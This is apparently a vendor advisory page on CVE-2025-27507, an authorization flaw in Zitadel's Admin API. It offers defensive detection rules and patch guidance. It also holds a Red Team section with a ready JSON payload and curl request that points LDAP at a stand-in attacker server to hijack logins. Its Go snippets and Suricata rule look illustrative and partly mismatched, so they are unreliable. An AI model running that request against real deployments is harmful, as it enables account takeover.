☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Zitadel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27507

CVE-2025-27507 Insecure Direct Object Reference in Zitadel
📅 PUBLISHED: 2025-03-04 16:43 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27507 is a critical Insecure Direct Object Reference (IDOR) vulnerability in Zitadel, an open-source identity infrastructure platform. The vulnerability resides in the Admin API, allowing authenticated users without specific IAM roles to modify sensitive settings, including LDAP configurations. The most severe impact is the ability to manipulate LDAP settings, which could lead to authentication bypass, privilege escalation, or lateral movement within an organization's identity infrastructure. The CVSS score of 9.0 reflects the high confidentiality, integrity, and availability impact, though the attack complexity is low and requires authentication. Organizations using Zitadel with LDAP are at the highest risk. The vendor has released patches across multiple version branches.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Zitadel is distributed as a Go binary and Docker container. The vulnerability is in the core application code, not in a third-party package. However, organizations should verify the integrity of their Zitadel binaries or container images by checking checksums and signatures provided by the vendor. The supply chain risk is moderate, as the vulnerability is in the application logic itself, not in a dependency.

CVSS Breakdown & Threat Level

  • CVSS Score: 9.0 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid authenticated session, but no specific IAM roles.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – LDAP configuration manipulation could expose sensitive user data.
  • Integrity (I): High (H) – Attackers can modify critical authentication settings.
  • Availability (A): High (H) – Misconfiguration could lead to denial of service.

Threat Level: Critical. The vulnerability allows low-privileged users to modify LDAP settings, potentially leading to full compromise of the identity infrastructure.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (IDOR) in Zitadel's Admin API. The API endpoints responsible for managing LDAP configurations and other sensitive settings do not properly verify that the authenticated user has the required IAM roles (e.g., ORG_OWNER, IAM_OWNER). Instead, they rely on the user being able to reference the object ID (e.g., the LDAP configuration ID) directly.

Mechanism:

  1. An authenticated user with low privileges (e.g., ORG_USER) can enumerate or guess the ID of an LDAP configuration object.
  2. The user sends a crafted API request (e.g., PUT or PATCH) to the endpoint /admin/v1/ldap/{id} with malicious payload.
  3. The server fails to check if the user has the iam.write or org.write permission, allowing the modification.
  4. The attacker can change the LDAP server address, bind credentials, or base DN, redirecting authentication to an attacker-controlled LDAP server.

Impact:

  • Authentication Bypass: By pointing LDAP to a rogue server, the attacker can authenticate as any user.
  • Privilege Escalation: The attacker can grant themselves higher privileges within Zitadel.
  • Data Exfiltration: LDAP queries can be intercepted or manipulated.

Vulnerable vs. Patched Code

The vulnerability is in the authorization middleware for Admin API endpoints. In vulnerable versions, the code does not enforce role-based access control (RBAC) for LDAP-related endpoints.

Vulnerable Code (Go):

func (s *Server) updateLDAPConfig(ctx context.Context, req *admin.UpdateLDAPConfigRequest) (*admin.UpdateLDAPConfigResponse, error) {
    // Missing authorization check
    config, err := s.query.GetLDAPConfigByID(ctx, req.GetId())
    if err != nil {
        return nil, err
    }
    // ... update logic
}

Patched Code:

func (s *Server) updateLDAPConfig(ctx context.Context, req *admin.UpdateLDAPConfigRequest) (*admin.UpdateLDAPConfigResponse, error) {
    // Authorization check added
    if err := s.authz.CheckPermission(ctx, authz.PermissionIAMWrite); err != nil {
        return nil, err
    }
    config, err := s.query.GetLDAPConfigByID(ctx, req.GetId())
    if err != nil {
        return nil, err
    }
    // ... update logic
}

The patch adds a call to CheckPermission with the required permission (PermissionIAMWrite) before processing the request.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A valid Zitadel account with low privileges (e.g., ORG_USER).
  • Network access to the Zitadel Admin API.
  • Knowledge of the LDAP configuration ID (can be enumerated via other IDOR endpoints).

Exploitation Steps:

  1. Enumerate LDAP Config IDs: Send GET requests to /admin/v1/ldap to list configurations (if accessible) or brute-force IDs.
  2. Craft Malicious Payload: Create a JSON payload to change the LDAP server to an attacker-controlled server.
    {
      "id": "1234567890",
      "ldapConfig": {
        "servers": ["ldap://attacker-ldap.example.com"],
        "bindDn": "cn=admin,dc=example,dc=com",
        "bindPassword": "attacker_password",
        "baseDn": "dc=attacker,dc=com"
      }
    }
    
  3. Send Exploit Request:
    curl -X PUT "https://zitadel.example.com/admin/v1/ldap/1234567890" \
      -H "Authorization: Bearer <low_priv_token>" \
      -H "Content-Type: application/json" \
      -d '{"ldapConfig": {"servers": ["ldap://attacker-ldap.example.com"], "bindDn": "cn=admin,dc=example,dc=com", "bindPassword": "attacker_password", "baseDn": "dc=attacker,dc=com"}}'
    
  4. Verify: Attempt to authenticate as a privileged user via the compromised LDAP.

Blue Team

Detection:

  • Monitor Admin API logs for unauthorized access to LDAP configuration endpoints.
  • Alert on changes to LDAP settings by users without iam.write or org.write permissions.
  • Use the Sigma rule below to detect exploitation attempts.

Hunting:

  • Search for API requests to /admin/v1/ldap/* from low-privileged users.
  • Correlate with authentication logs for anomalies.

Mitigation:

  • Apply the patch immediately.
  • If patching is delayed, restrict network access to the Admin API.
  • Implement additional monitoring on LDAP configuration changes.

Indicators of Compromise (IOCs)

  • Network:
    • API requests to /admin/v1/ldap/* from unexpected users.
    • Outbound connections to unknown LDAP servers (port 389/636).
  • Logs:
    • Zitadel audit logs showing UpdateLDAPConfig action by users without iam.write permission.
    • Authentication logs showing successful logins via a new LDAP server.
  • System:
    • Modified LDAP configuration in Zitadel database.
    • New or modified user accounts with elevated privileges.

Detection Engineering

YARA Rule

rule CVE_2025_27507_Zitadel_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2025-27507 in Zitadel logs"
        author = "Valters IT"
        date = "2025-03-25"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27507"
    strings:
        $s1 = "/admin/v1/ldap" ascii wide nocase
        $s2 = "UpdateLDAPConfig" ascii wide nocase
        $s3 = "iam.write" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 5
}

Sigma Rule

title: Zitadel Admin API IDOR Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthorized access to LDAP configuration endpoints in Zitadel
author: Valters IT
date: 2025-03-25
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27507
logsource:
    product: zitadel
    service: audit
detection:
    selection:
        action: "UpdateLDAPConfig"
        user.roles: 
            - "ORG_USER"
            - "ORG_VIEWER"
    condition: selection
falsepositives:
    - Legitimate admin actions if roles are misconfigured
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-27507 Zitadel Admin API IDOR Exploitation";
    flow:to_server,established;
    content:"PUT"; http_method;
    content:"/admin/v1/ldap"; http_uri;
    pcre:"/ldapConfig/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-27507;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Zitadel to one of the patched versions: 2.71.0, 2.70.1, 2.69.4, 2.68.4, 2.67.8, 2.66.11, 2.65.6, 2.64.5, or 2.63.8.
  2. Verify: After patching, verify that the Admin API now enforces proper authorization.
  3. Audit: Review audit logs for any signs of exploitation.

Compensating Controls:

  • Restrict network access to the Admin API (e.g., VPN, firewall rules).
  • Implement Web Application Firewall (WAF) rules to block requests to /admin/v1/ldap from non-admin IPs.
  • Enable multi-factor authentication (MFA) for all Zitadel users.
  • Monitor LDAP configuration changes and alert on any modifications.

Long-Term:

  • Conduct a security review of all Admin API endpoints for IDOR vulnerabilities.
  • Implement automated RBAC testing in CI/CD pipelines.
  • Follow the principle of least privilege for all user roles.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27507/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.